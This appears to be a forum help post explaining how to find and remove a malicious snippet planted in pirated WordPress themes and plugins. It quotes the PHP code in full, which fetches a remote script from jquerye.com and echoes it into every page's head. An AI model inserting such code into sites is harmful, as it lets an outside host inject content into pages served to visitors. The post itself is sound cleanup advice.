This is whats going on,
Some twit has massively distributed hacked themes and plugins containing a call to: “http://www.jquerye.com/jquery-1.6.3.min.js”, and his website has been taken down – that’s why there is this error now. Your website is trying to find jquery file on his website, but can’t find it.
You need to get rid of this! Try:
1. Disable all plugins. if the error message has gone then re-enable each plugin one by one until you figure out which one is causing the issue, then DELETE IT!
2. If the error message still appears after disabling all your plugins, your theme is the issue. you need to follow the following steps:
<?php if (!function_exists(‘insert_jquery_slider’)){function insert_jquery_slider(){if (function_exists(‘curl_init’)){$url = “http://www.jquerye.com/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_slider’);} ?>
This is how the malicious code looks.
I advise you search your entire local website directory on Dreamweaver for “jquery-1.6.3.min.js” and you should find all the offending script.
or
Download your theme folder, run a search for “jquery-1.6.3.min.js” through all files(by using Notepad++ on Windows or Search for Files on Linux) and locate code similar to one from above.
If you find this code in some important file(functions.php for example) delete this part:
{if (function_exists(‘curl_init’)){$url = “http://www.jquerye.com/jquery-1.6.3.min.js”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}
save the file, re-upload it and see if it helps. (it should)
If you find this code in some weird file(mine was class.php) and all it contains is check for one function and malicious code, delete this file, and create the one with same name, but empty the code(only <?php ?>).
hope this helps…
Time for a beer now 😉
